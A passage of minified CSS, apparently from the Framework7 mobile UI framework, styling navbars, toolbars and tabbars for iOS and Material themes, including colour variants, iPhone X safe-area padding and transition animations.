.right{-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:start;-webkit-justify-content:flex-start;-ms-flex-pack:start;justify-content:flex-start;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.navbar .right:first-child{position:absolute;height:100%}.navbar-inner{position:absolute;left:0;top:0;width:100%;height:100%;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-sizing:border-box;box-sizing:border-box}.navbar-inner.stacked{display:none}.page>.navbar,.view>.navbar,.views>.navbar{position:absolute}.ios .navbar{height:44px;font-size:17px;background:#f7f7f8}.ios .navbar.no-hairline:after{display:none!important}.ios .navbar:after{-webkit-backface-visibility:hidden;backface-visibility:hidden}.ios .navbar a.link{-webkit-box-pack:start;-webkit-justify-content:flex-start;-ms-flex-pack:start;justify-content:flex-start;line-height:44px;height:44px}.ios .navbar a.icon-only{width:44px;margin:0;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center}.ios .navbar .title{font-size:17px;margin:0;line-height:1.2}.ios .navbar .subtitle{color:#6d6d72;line-height:1;font-size:10px;text-align:center;font-weight:400}.ios .navbar .left a+a,.ios .navbar .right a+a{margin-left:15px}.ios .navbar .title,.ios .navbar b{font-weight:600}.ios .navbar .left{margin-right:10px}.ios .navbar .right{margin-left:10px}.ios .navbar .right:first-child{right:8px}.ios .navbar:after{content:'';position:absolute;background-color:#c4c4c4;display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.ios.device-pixel-ratio-2 .navbar:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .navbar:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .navbar-inner{-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;padding:0 8px}.ios .navbar~.page-content,.ios .navbar~:not(.no-navbar) .page-content{padding-top:44px}.ios .navbar-previous{pointer-events:none}.ios .navbar-previous .fading,.ios .navbar-previous .left,.ios .navbar-previous .right,.ios .navbar-previous .subnavbar,.ios .navbar-previous>.title{opacity:0}.ios .navbar-previous .sliding{opacity:0}.ios .navbar-previous .subnavbar.sliding,.ios .navbar-previous.sliding .subnavbar{opacity:1;-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)}.ios .navbar-next{pointer-events:none}.ios .navbar-next .fading,.ios .navbar-next .left,.ios .navbar-next .right,.ios .navbar-next .subnavbar,.ios .navbar-next>.title{opacity:0}.ios .navbar-next .sliding{opacity:0}.ios .navbar-next.sliding .left,.ios .navbar-next.sliding .right,.ios .navbar-next.sliding .subnavbar,.ios .navbar-next.sliding>.title{opacity:0}.ios .navbar-next .subnavbar.sliding,.ios .navbar-next.sliding .subnavbar{opacity:1;-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}.ios .navbar-transitioning{-webkit-transition-duration:.4s;transition-duration:.4s}.ios .navbar-hidden{-webkit-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0)}.ios .router-transition-css-backward .navbar-current .left,.ios .router-transition-css-backward .navbar-current .right,.ios .router-transition-css-backward .navbar-current .subnavbar,.ios .router-transition-css-backward .navbar-current>.title,.ios .router-transition-css-forward .navbar-current .left,.ios .router-transition-css-forward .navbar-current .right,.ios .router-transition-css-forward .navbar-current .subnavbar,.ios .router-transition-css-forward .navbar-current>.title{-webkit-animation:ios-navbar-element-fade-out .4s forwards;animation:ios-navbar-element-fade-out .4s forwards}.ios .router-transition-css-backward .navbar-current .left.sliding .icon,.ios .router-transition-css-backward .navbar-current .sliding,.ios .router-transition-css-backward .navbar-current.sliding .left,.ios .router-transition-css-backward .navbar-current.sliding .left .icon,.ios .router-transition-css-backward .navbar-current.sliding .right,.ios .router-transition-css-backward .navbar-current.sliding>.title,.ios .router-transition-css-forward .navbar-current .left.sliding .icon,.ios .router-transition-css-forward .navbar-current .sliding,.ios .router-transition-css-forward .navbar-current.sliding .left,.ios .router-transition-css-forward .navbar-current.sliding .left .icon,.ios .router-transition-css-forward .navbar-current.sliding .right,.ios .router-transition-css-forward .navbar-current.sliding>.title{-webkit-transition-duration:.4s;transition-duration:.4s;opacity:0!important;-webkit-animation:none;animation:none}.ios .router-transition-css-backward .navbar-current .sliding.subnavbar,.ios .router-transition-css-backward .navbar-current.sliding .subnavbar,.ios .router-transition-css-forward .navbar-current .sliding.subnavbar,.ios .router-transition-css-forward .navbar-current.sliding .subnavbar{-webkit-transition-duration:.4s;transition-duration:.4s;-webkit-animation:none;animation:none;opacity:1}.ios .router-transition-css-backward .navbar-previous .left,.ios .router-transition-css-backward .navbar-previous .right,.ios .router-transition-css-backward .navbar-previous .subnavbar,.ios .router-transition-css-backward .navbar-previous>.title,.ios .router-transition-css-forward .navbar-next .left,.ios .router-transition-css-forward .navbar-next .right,.ios .router-transition-css-forward .navbar-next .subnavbar,.ios .router-transition-css-forward .navbar-next>.title{-webkit-animation:ios-navbar-element-fade-in .4s forwards;animation:ios-navbar-element-fade-in .4s forwards}.ios .router-transition-css-backward .navbar-previous .left.sliding .icon,.ios .router-transition-css-backward .navbar-previous .sliding,.ios .router-transition-css-backward .navbar-previous.sliding .left,.ios .router-transition-css-backward .navbar-previous.sliding .left .icon,.ios .router-transition-css-backward .navbar-previous.sliding .right,.ios .router-transition-css-backward .navbar-previous.sliding .subnavbar,.ios .router-transition-css-backward .navbar-previous.sliding>.title,.ios .router-transition-css-forward .navbar-next .left.sliding .icon,.ios .router-transition-css-forward .navbar-next .sliding,.ios .router-transition-css-forward .navbar-next.sliding .left,.ios .router-transition-css-forward .navbar-next.sliding .left .icon,.ios .router-transition-css-forward .navbar-next.sliding .right,.ios .router-transition-css-forward .navbar-next.sliding .subnavbar,.ios .router-transition-css-forward .navbar-next.sliding>.title{-webkit-transition-duration:.4s;transition-duration:.4s;-webkit-animation:none;animation:none;-webkit-transform:translate3d(0,0,0)!important;transform:translate3d(0,0,0)!important;opacity:1!important}.ios .theme-dark .navbar,.navbar.ios .theme-dark{background:#1b1b1b}.ios .theme-dark .navbar:after,.navbar.ios .theme-dark:after{background-color:#282829}.ios .theme-dark .navbar .subtitle,.navbar.ios .theme-dark .subtitle{color:#8e8e93}@media (orientation:landscape){.ios.device-iphone-x .ios-edges .navbar-inner,.ios.device-iphone-x .ios-left-edge .navbar-inner,.ios.device-iphone-x .panel-left .navbar-inner,.ios.device-iphone-x .popup .navbar-inner,.ios.device-iphone-x .sheet-modal .navbar-inner{padding-left:calc(8px + constant(safe-area-inset-right));padding-left:calc(8px + env(safe-area-inset-right))}.ios.device-iphone-x .ios-edges .navbar-inner,.ios.device-iphone-x .ios-right-edge .navbar-inner,.ios.device-iphone-x .panel-right .navbar-inner,.ios.device-iphone-x .popup .navbar-inner,.ios.device-iphone-x .sheet-modal .navbar-inner{padding-right:calc(8px + constant(safe-area-inset-right));padding-right:calc(8px + env(safe-area-inset-right))}}@-webkit-keyframes ios-navbar-element-fade-in{from{opacity:0}to{opacity:1}}@keyframes ios-navbar-element-fade-in{from{opacity:0}to{opacity:1}}@-webkit-keyframes ios-navbar-element-fade-out{from{opacity:1}to{opacity:0}}@keyframes ios-navbar-element-fade-out{from{opacity:1}to{opacity:0}}.md .navbar{height:56px;background:#2196f3;color:#fff;font-size:20px}.md .navbar:after{content:'';position:absolute;right:0;width:100%;top:100%;bottom:auto;height:10px;pointer-events:none;background:-webkit-gradient(linear,left top,left bottom,from(rgba(0,0,0,.3)),color-stop(40%,rgba(0,0,0,.1)),color-stop(50%,rgba(0,0,0,.05)),color-stop(80%,rgba(0,0,0,0)),to(rgba(0,0,0,0)));background:-webkit-linear-gradient(top,rgba(0,0,0,.3) 0,rgba(0,0,0,.1) 40%,rgba(0,0,0,.05) 50%,rgba(0,0,0,0) 80%,rgba(0,0,0,0) 100%);background:linear-gradient(to bottom,rgba(0,0,0,.3) 0,rgba(0,0,0,.1) 40%,rgba(0,0,0,.05) 50%,rgba(0,0,0,0) 80%,rgba(0,0,0,0) 100%)}.md .navbar.no-shadow:after{display:none}.md .navbar a{color:inherit}.md .navbar a.link{-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;padding:0 16px;min-width:48px;height:56px;line-height:56px}.md .navbar a.link:before{content:'';width:152%;height:152%;position:absolute;left:-26%;top:-26%;background-image:-webkit-radial-gradient(center,circle,rgba(255,255,255,.15) 66%,rgba(255,255,255,0) 66%);background-image:radial-gradient(circle at center,rgba(255,255,255,.15) 66%,rgba(255,255,255,0) 66%);background-repeat:no-repeat;background-position:center;background-size:100% 100%;opacity:0;pointer-events:none;-webkit-transition-duration:.6s;transition-duration:.6s}.md .navbar a.link.active-state:before{opacity:1;-webkit-transition-duration:150ms;transition-duration:150ms}.md .navbar a.icon-only{min-width:0;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0}.md .navbar .title{margin:0 16px;line-height:1.2;text-align:left}.md .navbar .subtitle{line-height:1.2;font-size:14px;font-weight:400;color:rgba(255,255,255,.85)}.md .navbar .right{margin-left:auto}.md .navbar .right:first-child{right:16px}.md .navbar-inner{-webkit-box-pack:start;-webkit-justify-content:flex-start;-ms-flex-pack:start;justify-content:flex-start;overflow:hidden}.md .page-with-subnavbar .navbar-inner{overflow:visible}.md .navbar~* .page-content,.md .navbar~.page-content{padding-top:56px}@media (min-width:768px){.md .navbar{height:64px}.md .navbar a.link{height:64px;line-height:64px}.md .navbar~* .page-content,.md .navbar~.page-content{padding-top:64px}}.md .navbar-transitioning{-webkit-transition-duration:.4s;transition-duration:.4s}.md .navbar-hidden{-webkit-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0)}.md .navbar-hidden:after{display:none}.md .color-theme-red .navbar,.md .color-theme-red.navbar{background:#f44336}.md .color-theme-green .navbar,.md .color-theme-green.navbar{background:#4caf50}.md .color-theme-blue .navbar,.md .color-theme-blue.navbar{background:#2196f3}.md .color-theme-pink .navbar,.md .color-theme-pink.navbar{background:#e91e63}.md .color-theme-yellow .navbar,.md .color-theme-yellow.navbar{background:#ffeb3b}.md .color-theme-orange .navbar,.md .color-theme-orange.navbar{background:#ff9800}.md .color-theme-gray .navbar,.md .color-theme-gray.navbar{background:#9e9e9e}.md .color-theme-white .navbar,.md .color-theme-white.navbar{background:#fff}.md .color-theme-black .navbar,.md .color-theme-black.navbar{background:#000}.md .navbar.color-red{background:#f44336}.md .navbar.color-green{background:#4caf50}.md .navbar.color-blue{background:#2196f3}.md .navbar.color-pink{background:#e91e63}.md .navbar.color-yellow{background:#ffeb3b}.md .navbar.color-orange{background:#ff9800}.md .navbar.color-gray{background:#9e9e9e}.md .navbar.color-white{background:#fff}.md .navbar.color-black{background:#000}@media (orientation:landscape){.md.device-iphone-x .ios-edges .navbar-inner,.md.device-iphone-x .ios-left-edge .navbar-inner,.md.device-iphone-x .panel-left .navbar-inner,.md.device-iphone-x .popup .navbar-inner,.md.device-iphone-x .sheet-modal .navbar-inner{padding-left:constant(safe-area-inset-left);padding-left:env(safe-area-inset-left)}.md.device-iphone-x .ios-edges .navbar-inner,.md.device-iphone-x .ios-right-edge .navbar-inner,.md.device-iphone-x .panel-right .navbar-inner,.md.device-iphone-x .popup .navbar-inner,.md.device-iphone-x .sheet-modal .navbar-inner{padding-right:constant(safe-area-inset-right);padding-right:env(safe-area-inset-right)}}.toolbar{width:100%;position:relative;margin:0;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);-webkit-backface-visibility:hidden;backface-visibility:hidden;z-index:500;-webkit-box-sizing:border-box;box-sizing:border-box;left:0}.toolbar b{font-weight:500}.toolbar a{-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-flex-shrink:1;-ms-flex-negative:1;flex-shrink:1;position:relative;white-space:nowrap;text-overflow:ellipsis}.toolbar a.link{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex}.toolbar i.icon{display:block}.toolbar-inner{position:absolute;left:0;top:0;width:100%;height:100%;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-align-content:center;-ms-flex-line-pack:center;align-content:center}.views>.tabbar,.views>.tabbar-labels{z-index:5001}.tabbar a.link,.tabbar-labels a.link{line-height:1.4}.tabbar a.link,.tabbar a.tab-link,.tabbar-labels a.link,.tabbar-labels a.tab-link{height:100%;width:100%;-webkit-box-sizing:border-box;box-sizing:border-box;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column}.tabbar-labels a.link,.tabbar-labels a.tab-link{height:100%;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center}.tabbar-labels a.link .tabbar-label,.tabbar-labels a.tab-link .tabbar-label{display:block;line-height:1;margin:0;position:relative;text-overflow:ellipsis;white-space:nowrap}.tabbar-scrollable .toolbar-inner{overflow:auto;-webkit-overflow-scrolling:touch}.tabbar-scrollable .toolbar-inner::-webkit-scrollbar{display:none!important;width:0!important;height:0!important;-webkit-appearance:none;opacity:0!important}.tabbar-scrollable a.link,.tabbar-scrollable a.tab-link{width:auto;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0}.page>.toolbar,.view>.toolbar,.views>.toolbar{position:absolute}.ios .toolbar{height:44px;font-size:17px;background:#f7f7f8;bottom:0}.ios .toolbar:after{-webkit-backface-visibility:hidden;backface-visibility:hidden}.ios .toolbar a.link{line-height:44px;height:44px}.ios .toolbar a.link i+i,.ios .toolbar a.link i+span,.ios .toolbar a.link span+i,.ios .toolbar a.link span+span{margin-left:7px}.ios .toolbar a.icon-only{min-height:44px;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;margin:0;min-width:44px}.ios .toolbar b{font-weight:600}.ios .toolbar.no-hairline:before{display:none!important}.ios .toolbar:before{content:'';position:absolute;background-color:#c4c4c4;display:block;z-index:15;top:0;right:auto;bottom:auto;left:0;height:1px;width:100%;-webkit-transform-origin:50% 0;transform-origin:50% 0}.ios.device-pixel-ratio-2 .toolbar:before{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .toolbar:before{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .toolbar-inner{padding:0 8px}.ios .tabbar,.ios .tabbar-labels{color:#929292}.ios .tabbar a,.ios .tabbar-labels a{color:#929292}.ios .tabbar a.tab-link-active,.ios .tabbar-labels a.tab-link-active{color:#007aff}.ios .tabbar i.icon,.ios .tabbar-labels i.icon{height:30px}.ios .tabbar-labels{height:50px}.ios .tabbar-labels a.link,.ios .tabbar-labels a.tab-link{padding-top:4px;padding-bottom:4px}.ios .tabbar-labels a.link i+span,.ios .tabbar-labels a.tab-link i+span{margin:0}.ios .tabbar-labels .tabbar-label{letter-spacing:.01em;font-size:10px}@media (min-width:768px){.ios .tabbar .toolbar-inner,.ios .tabbar-labels .toolbar-inner{-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center}.ios .tabbar a.link,.ios .tabbar a.tab-link,.ios .tabbar-labels a.link,.ios .tabbar-labels a.tab-link{width:auto;min-width:105px}.ios .tabbar-labels{height:56px}.ios .tabbar-labels .tabbar-label{font-size:14px}}.ios .tabbar-scrollable .toolbar-inner{-webkit-box-pack:start;-webkit-justify-content:flex-start;-ms-flex-pack:start;justify-content:flex-start}.ios .tabbar-scrollable a.link,.ios .tabbar-scrollable a.tab-link{padding:0 8px}.ios .toolbar~* .page-content,.ios .toolbar~.page-content{padding-bottom:44px}.ios .tabbar-labels~* .page-content,.ios .tabbar-labels~.page-content{padding-bottom:50px}@media (min-width:768px){.ios .tabbar-labels~* .page-content,.ios .tabbar-labels~.page-content{padding-bottom:56px}}.ios .toolbar-transitioning{-webkit-transition-duration:.4s;transition-duration:.4s}.ios .toolbar-hidden{-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}.ios .theme-dark .toolbar,.toolbar.ios .theme-dark{background:#1b1b1b}.ios .theme-dark .toolbar:before,.toolbar.ios .theme-dark:before{background-color:#282829}.ios .color-theme-red .tabbar a.tab-link-active,.ios .color-theme-red .tabbar-labels a.tab-link-active,.ios .color-theme-red.tabbar a.tab-link-active,.ios .color-theme-red.tabbar-labels a.tab-link-active{color:#ff3b30}.ios .color-theme-green .tabbar a.tab-link-active,.ios .color-theme-green .tabbar-labels a.tab-link-active,.ios .color-theme-green.tabbar a.tab-link-active,.ios .color-theme-green.tabbar-labels a.tab-link-active{color:#4cd964}.ios .color-theme-blue .tabbar a.tab-link-active,.ios .color-theme-blue .tabbar-labels a.tab-link-active,.ios .color-theme-blue.tabbar a.tab-link-active,.ios .color-theme-blue.tabbar-labels a.tab-link-active{color:#007aff}.ios .color-theme-pink .tabbar a.tab-link-active,.ios .color-theme-pink .tabbar-labels a.tab-link-active,.ios .color-theme-pink.tabbar a.tab-link-active,.ios .color-theme-pink.tabbar-labels a.tab-link-active{color:#ff2d55}.ios .color-theme-yellow .tabbar a.tab-link-active,.ios .color-theme-yellow .tabbar-labels a.tab-link-active,.ios .color-theme-yellow.tabbar a.tab-link-active,.ios .color-theme-yellow.tabbar-labels a.tab-link-active{color:#fc0}.ios .color-theme-orange .tabbar a.tab-link-active,.ios .color-theme-orange .tabbar-labels a.tab-link-active,.ios .color-theme-orange.tabbar a.tab-link-active,.ios .color-theme-orange.tabbar-labels a.tab-link-active{color:#ff9500}.ios .color-theme-gray .tabbar a.tab-link-active,.ios .color-theme-gray .tabbar-labels a.tab-link-active,.ios .color-theme-gray.tabbar a.tab-link-active,.ios .color-theme-gray.tabbar-labels a.tab-link-active{color:#8e8e93}.ios .color-theme-white .tabbar a.tab-link-active,.ios .color-theme-white .tabbar-labels a.tab-link-active,.ios .color-theme-white.tabbar a.tab-link-active,.ios .color-theme-white.tabbar-labels a.tab-link-active{color:#fff}.ios .color-theme-black .tabbar a.tab-link-active,.ios .color-theme-black .tabbar-labels a.tab-link-active,.ios .color-theme-black.tabbar a.tab-link-active,.ios .color-theme-black.tabbar-labels a.tab-link-active{color:#000}.ios .tabbar-labels.color-red a.tab-link-active,.ios .tabbar.color-red a.tab-link-active{color:#ff3b30}.ios .tabbar-labels.color-green a.tab-link-active,.ios .tabbar.color-green a.tab-link-active{color:#4cd964}.ios .tabbar-labels.color-blue a.tab-link-active,.ios .tabbar.color-blue a.tab-link-active{color:#007aff}.ios .tabbar-labels.color-pink a.tab-link-active,.ios .tabbar.color-pink a.tab-link-active{color:#ff2d55}.ios .tabbar-labels.color-yellow a.tab-link-active,.ios .tabbar.color-yellow a.tab-link-active{color:#fc0}.ios .tabbar-labels.color-orange a.tab-link-active,.ios .tabbar.color-orange a.tab-link-active{color:#ff9500}.ios .tabbar-labels.color-gray a.tab-link-active,.ios .tabbar.color-gray a.tab-link-active{color:#8e8e93}.ios .tabbar-labels.color-white a.tab-link-active,.ios .tabbar.color-white a.tab-link-active{color:#fff}.ios .tabbar-labels.color-black a.tab-link-active,.ios .tabbar.color-black a.tab-link-active{color:#000}.ios.device-iphone-x .login-screen>.toolbar,.ios.device-iphone-x .page>.toolbar,.ios.device-iphone-x .panel>.toolbar,.ios.device-iphone-x .popup>.toolbar,.ios.device-iphone-x .view>.toolbar,.ios.device-iphone-x .views>.toolbar{height:calc(44px + constant(safe-area-inset-bottom));height:calc(44px + env(safe-area-inset-bottom))}.ios.device-iphone-x .login-screen>.toolbar .toolbar-inner,.ios.device-iphone-x .page>.toolbar .toolbar-inner,.ios.device-iphone-x .panel>.toolbar .toolbar-inner,.ios.device-iphone-x .popup>.toolbar .toolbar-inner,.ios.device-iphone-x .view>.toolbar .toolbar-inner,.ios.device-iphone-x .views>.toolbar .toolbar-inner{height:auto;bottom:constant(safe-area-inset-bottom);bottom:env(safe-area-inset-bottom)}.ios.device-iphone-x .login-screen>.tabbar-labels,.ios.device-iphone-x .page>.tabbar-labels,.ios.device-iphone-x .panel>.tabbar-labels,.ios.device-iphone-x .popup>.tabbar-labels,.ios.device-iphone-x .view>.tabbar-labels,.ios.device-iphone-x .views>.tabbar-labels{height:calc(50px + constant(safe-area-inset-bottom));height:calc(50px + env(safe-area-inset-bottom))}@media (min-width:768px){.ios.device-iphone-x .login-screen>.tabbar-labels,.ios.device-iphone-x .page>.tabbar-labels,.ios.device-iphone-x .panel>.tabbar-labels,.ios.device-iphone-x .popup>.tabbar-labels,.ios.device-iphone-x .view>.tabbar-labels,.ios.device-iphone-x .views>.tabbar-labels{height:calc(56px + constant(safe-area-inset-bottom));height:calc(56px + env(safe-area-inset-bottom))}}.ios.device-iphone-x .toolbar~* .page-content,.ios.device-iphone-x .toolbar~.page-content{padding-bottom:calc(44px + constant(safe-area-inset-bottom));padding-bottom:calc(44px + env(safe-area-inset-bottom))}.ios.device-iphone-x .tabbar-labels~* .page-content,.ios.device-iphone-x .tabbar-labels~.page-content{padding-bottom:calc(50px + constant(safe-area-inset-bottom));padding-bottom:calc(50px + env(safe-area-inset-bottom))}@media (min-width:768px){.ios.device-iphone-x .tabbar-labels~* .page-content,.ios.device-iphone-x .tabbar-labels~.page-content{padding-bottom:calc(56px + constant(safe-area-inset-bottom));padding-bottom:calc(56px + env(safe-area-inset-bottom))}}@media (orientation:landscape){.ios.device-iphone-x .ios-edges .toolbar-inner,.ios.device-iphone-x .ios-left-edge .toolbar-inner,.ios.device-iphone-x .panel-left .toolbar-inner,.ios.device-iphone-x .popup .toolbar-inner,.ios.device-iphone-x .sheet-modal .toolbar-inner{padding-left:calc(8px + constant(safe-area-inset-left));padding-left:calc(8px + env(safe-area-inset-left))}.ios.device-iphone-x .ios-edges .toolbar-inner,.ios.device-iphone-x .ios-right-edge .toolbar-inner,.ios.device-iphone-x .panel-right .toolbar-inner,.ios.device-iphone-x .popup .toolbar-inner,.ios.device-iphone-x .sheet-modal .toolbar-inner{padding-right:calc(8px + constant(safe-area-inset-right));padding-right:calc(8px + env(safe-area-inset-right))}}.md .toolbar{background:#2196f3;height:48px;color:#fff;font-size:14px;top:0}.md .toolbar:after{content:'';position:absolute;right:0;width:100%;top:100%;bottom:auto;height:10px;pointer-events:none;background:-webkit-gradient(linear,left top,left bottom,from(rgba(0,0,0,.3)),color-stop(40%,rgba(0,0,0,.1)),color-stop(50%,rgba(0,0,0,.05)),color-stop(80%,rgba(0,0,0,0)),to(rgba(0,0,0,0)));background:-webkit-linear-gradient(top,rgba(0,0,0,.3) 0,rgba(0,0,0,.1) 40%,rgba(0,0,0,.05) 50%,rgba(0,0,0,0) 80%,rgba(0,0,0,0) 100%);background:linear-gradient(to bottom,rgba(0,0,0,.3) 0,rgba(0,0,0,.1) 40%,rgba(0,0,0,.05) 50%,rgba(0,0,0,0) 80%,rgba(0,0,0,0) 100%)}.md .toolbar.no-shadow:after{display:none}.md .toolbar a{color:#fff}.md .toolbar a.link{-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;padding:0 16px;min-width:48px;line-height:48px;height:48px}.md .toolbar a.link:before{content:'';width:152%;height:152%;position:absolute;left:-26%;top:-26%;background-image:-webkit-radial-gradient(center,circle,rgba(255,255,255,.15) 66%,rgba(255,255,255,0) 66%);background-image:radial-gradient(circle at center,rgba(255,255,255,.15) 66%,rgba(255,255,255,0) 66%);background-repeat:no-repeat;background-position:center;background-size:100% 100%;opacity:0;pointer-events:none;-webkit-transition-duration:.6s;transition-duration:.6s}.md .toolbar a.link.active-state:before{opacity:1;-webkit-transition-duration:150ms;transition-duration:150ms}.md .toolbar a.link i+i,.md .toolbar a.link i+span,.md .toolbar a.link span+i,.md .toolbar a.link span+span{margin-left:8px}.md .toolbar a.icon-only{min-width:0;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0}.md .toolbar-inner{overflow:hidden}.md .tabbar a.link,.md .tabbar a.tab-link,.md .tabbar-labels a.link,.md .tabbar-labels a.tab-link{padding-left:0;padding-right:0;font-size:14px;text-transform:uppercase;font-weight:500;letter-spacing:.03em}.md .tabbar i.icon,.md .tabbar-labels i.icon{height:24px}.md .tabbar a.tab-link,.md .tabbar-labels a.tab-link{-webkit-transition-duration:.3s;transition-duration:.3s;overflow:hidden;color:rgba(255,255,255,.7);position:relative}.md .tabbar a.tab-link.active-state,.md .tabbar a.tab-link.tab-link-active,.md .tabbar-labels a.tab-link.active-state,.md .tabbar-labels a.tab-link.tab-link-active{color:#fff}.md .tabbar .tab-link-highlight,.md .tabbar-labels .tab-link-highlight{position:absolute;bottom:0;height:2px;background:#fff;-webkit-transition-duration:.3s;transition-duration:.3s;left:0}.md .messagebar,.md .toolbar-bottom-md{top:auto!important;bottom:0!important}.md .messagebar:after,.md .toolbar-bottom-md:after{content:'';position:absolute;right:0;width:100%;bottom:100%;height:10px;top:auto;pointer-events:none;background:-webkit-gradient(linear,left bottom,left top,from(rgba(0,0,0,.3)),color-stop(40%,rgba(0,0,0,.1)),color-stop(50%,rgba(0,0,0,.05)),color-stop(80%,rgba(0,0,0,0)),to(rgba(0,0,0,0)));background:-webkit-linear-gradient(bottom,rgba(0,0,0,.3) 0,rgba(0,0,0,.1) 40%,rgba(0,0,0,.05) 50%,rgba(0,0,0,0) 80%,rgba(0,0,0,0) 100%);background:linear-gradient(to top,rgba(0,0,0,.3) 0,rgba(0,0,0,.1) 40%,rgba(0,0,0,.05) 50%,rgba(0,0,0,0) 80%,rgba(0,0,0,0) 100%)}.md .messagebar .tab-link-highlight,.md .toolbar-bottom-md .tab-link-highlight{bottom:auto;top:0}.md .tabbar-labels{height:72px}.md .tabbar-labels a.link,.md .tabbar-labels a.tab-link{padding-top:12px;padding-bottom:12px}.md .tabbar-labels .tabbar-label{margin-top:10px;max-width:100%;overflow:hidden}.md .tabbar-labels.toolbar-bottom-md{height:56px}.md .tabbar-labels.toolbar-bottom-md a.link,.md .tabbar-labels.toolbar-bottom-md a.tab-link{padding-top:7px;padding-bottom:7px}.md .tabbar-labels.toolbar-bottom-md .tabbar-label{text-transform:none;line-height:1.2;font-weight:400;letter-spacing:0}.md .tabbar-scrollable .toolbar-inner{overflow:auto;-webkit-box-pack:start;-webkit-justify-content:flex-start;-ms-flex-pack:start;justify-content:flex-start}.md .tabbar-scrollable a.link,.md .tabbar-scrollable a.tab-link{padding:0 16px}.md .toolbar:not(.toolbar-bottom-md):not(.messagebar)~* .page-content,.md .toolbar:not(.toolbar-bottom-md):not(.messagebar)~.page-content{padding-top:48px}.md .toolbar.tabbar-labels:not(.toolbar-bottom-md)~* .page-content,.md .toolbar.tabbar-labels:not(.toolbar-bottom-md)~.page-content{padding-top:72px}.md .toolbar-hidden{-webkit-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0)}.md .toolbar-hidden:after{display:none}.md .toolbar-hidden.messagebar,.md .toolbar-hidden.toolbar-bottom-md{-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}.md .navbar+.toolbar:not(.toolbar-bottom-md):not(.messagebar){top:56px}.md .navbar+.toolbar:not(.toolbar-bottom-md):not(.messagebar)~* .page-content,.md .navbar+.toolbar:not(.toolbar-bottom-md):not(.messagebar)~.page-content{padding-top:104px}.md .navbar+.toolbar.tabbar-labels:not(.toolbar-bottom-md)~* .page-content,.md .navbar+.toolbar.tabbar-labels:not(.toolbar-bottom-md)~.page-content{padding-top:128px}.md .navbar+.toolbar-hidden:not(.toolbar-bottom-md):not(.messagebar){-webkit-transform:translate3d(0,-104px,0);transform:translate3d(0,-104px,0)}.md .navbar+.toolbar-hidden.tabbar-labels:not(.toolbar-bottom-md){-webkit-transform:translate3d(0,-128px,0);transform:translate3d(0,-128px,0)}.md .navbar.navbar-hidden+.toolbar:not(.toolbar-bottom-md):not(.messagebar):not(.toolbar-hidden){-webkit-transform:translate3d(0,-56px,0);transform:translate3d(0,-56px,0)}@media (min-width:768px){.md .navbar+.toolbar:not(.toolbar-bottom-md):not(.messagebar){top:64px}.md .navbar+.toolbar:not(.toolbar-bottom-md):not(.messagebar)~* .page-content,.md .navbar+.toolbar:not(.toolbar-bottom-md):not(.messagebar)~.page-content{padding-top:112px}.md .navbar+.toolbar.tabbar-labels:not(.toolbar-bottom-md)~* .page-content,.md .navbar+.toolbar.tabbar-labels:not(.toolbar-bottom-md)~.page-content{padding-top:136px}.md .navbar.navbar-hidden+.toolbar:not(.toolbar-bottom-md):not(.messagebar):not(.toolbar-hidden){-webkit-transform:translate3d(0,-64px,0);transform:translate3d(0,-64px,0)}.md .navbar+.toolbar-hidden:not(.toolbar-bottom-md):not(.messagebar){-webkit-transform:translate3d(0,-112px,0);transform:translate3d(0,-112px,0)}.md 